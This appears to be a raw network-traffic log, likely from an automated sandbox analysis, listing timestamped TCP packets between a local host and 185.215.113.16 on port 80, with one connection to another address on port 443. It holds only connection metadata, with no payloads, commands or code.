Oct 24, 2024 08:38:20.327965975 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.327991962 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.328248024 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.328270912 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.328283072 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.328342915 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.328367949 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.328380108 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.328387976 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.328470945 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.367060900 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.367074013 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.367084980 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.367337942 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.409111023 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.409126043 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.409137964 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.409204006 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.409259081 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.410198927 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.410264969 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.410274029 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.410288095 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.410341024 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.410862923 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.410923004 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.410943031 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.410954952 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.411076069 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.411111116 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.411123037 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.411134005 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.411159992 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.411187887 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.444413900 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.444458008 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.444469929 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.444482088 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.444521904 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.444547892 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.444547892 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.444547892 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.444583893 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.444731951 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.444806099 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.444818020 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.444828987 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.444855928 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.444880962 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.445158958 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.445173025 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.445194006 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.445205927 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.445218086 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.445228100 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.445228100 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.445523024 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.484102964 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.484177113 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.484229088 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.484240055 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.484251022 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.484350920 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.484350920 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.526565075 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.526578903 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.526715040 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.527422905 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.527436972 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.527450085 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.527494907 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.527494907 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.528040886 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.528095007 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.528111935 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.528115034 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.528129101 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.528142929 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.528143883 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.528182983 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.528182983 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.528573036 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.528593063 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.528606892 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.528649092 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.528649092 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.561569929 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.561594009 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.561615944 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.561626911 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.561639071 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.561686039 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.561686039 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.561883926 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.561932087 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.561942101 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.561954975 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.562000990 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.562294960 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.562340975 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.562482119 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.562532902 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.562545061 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.562546968 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.562557936 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.562588930 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.562588930 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.601461887 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.601479053 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.601485968 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.601587057 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.644710064 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.644726038 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.644740105 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.644820929 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.644820929 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.645149946 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.645205021 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.645211935 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.645222902 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.645263910 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.645265102 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.645277977 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.645277977 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.645291090 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.645308971 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.645328045 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.645348072 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.645812035 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.645826101 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.645838022 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.645900965 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.645901918 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.646267891 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.646279097 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.646311045 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.646372080 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.678662062 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.678673983 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.678684950 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.678733110 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.678745031 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.678756952 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.678772926 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.678772926 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.678772926 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.678800106 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.679332972 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.679353952 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.679367065 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.679378033 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.679384947 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.679389000 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.679398060 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.679418087 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.679466963 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.680075884 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.680088997 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.680099964 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.680123091 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.680145025 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.718760967 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.718774080 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.718786001 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.718883038 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.718883038 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.718964100 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.719337940 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.761926889 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.761941910 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.761953115 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.762001038 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.762236118 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.762315035 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.762326956 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.762339115 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.762495041 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.762495041 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.762520075 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.762603045 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.762636900 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.762649059 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.762660027 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.762773037 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.762773037 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.762993097 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.763005972 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.763016939 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.763062000 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.763065100 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.763075113 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.763084888 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.763139963 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.763139963 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.795686007 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.795701027 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.795712948 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.796122074 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.796122074 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.796206951 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.796247959 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.796263933 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.796267033 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.796274900 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.796289921 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.796336889 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.796336889 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.796336889 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.796336889 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.796741009 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.796761036 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.796773911 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.796785116 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.796797991 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.797195911 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.797195911 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.797195911 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.835995913 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.836046934 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.836086988 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.836108923 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.836108923 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.836133003 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.889200926 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.889341116 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.889559031 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.889573097 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.889585018 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.889597893 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.889611006 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.889616966 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.889622927 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.889636040 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.889647961 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.889659882 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.889672995 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.889676094 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.889676094 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.889684916 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.889684916 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.889697075 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.889708996 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.889719009 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.889750004 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.889750004 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.889750004 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.889821053 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.913096905 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.913110971 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.913122892 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.913245916 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.913577080 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.913624048 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.913635969 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.913683891 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.913683891 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.913683891 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.913913965 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.913927078 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.913988113 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.913988113 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.914452076 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.914463997 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.914477110 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.914520025 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.914532900 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.914552927 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.914552927 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.914552927 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.914617062 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.915791035 CEST	61012	443	192.168.2.5	104.21.53.8
Oct 24, 2024 08:38:20.956346035 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.956361055 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.956386089 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.956469059 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.956469059 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.996783972 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.996823072 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.996864080 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.996895075 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.996911049 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.996927023 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.996942997 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.997014046 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.997014046 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.997014046 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.000273943 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.000308990 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.000341892 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.000345945 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.000406981 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.000406981 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.000435114 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.000454903 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.000466108 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.000555038 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.000555038 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.000854015 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.000905037 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.000920057 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.000931025 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.000942945 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.000967026 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.000967026 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.000967026 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.001024008 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.030282974 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.030318022 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.030353069 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.030359983 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.030391932 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.030391932 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.030638933 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.030723095 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.030729055 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.030735970 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.030774117 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.030790091 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.030802011 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.030812979 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.030826092 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.031065941 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.031065941 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.031594992 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.031606913 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.031619072 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.031735897 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.031738043 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.031738043 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.031749010 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.031759977 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:21.031801939 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:21.031801939 CEST	61010	80	192.168.2.5	185.215.113.16
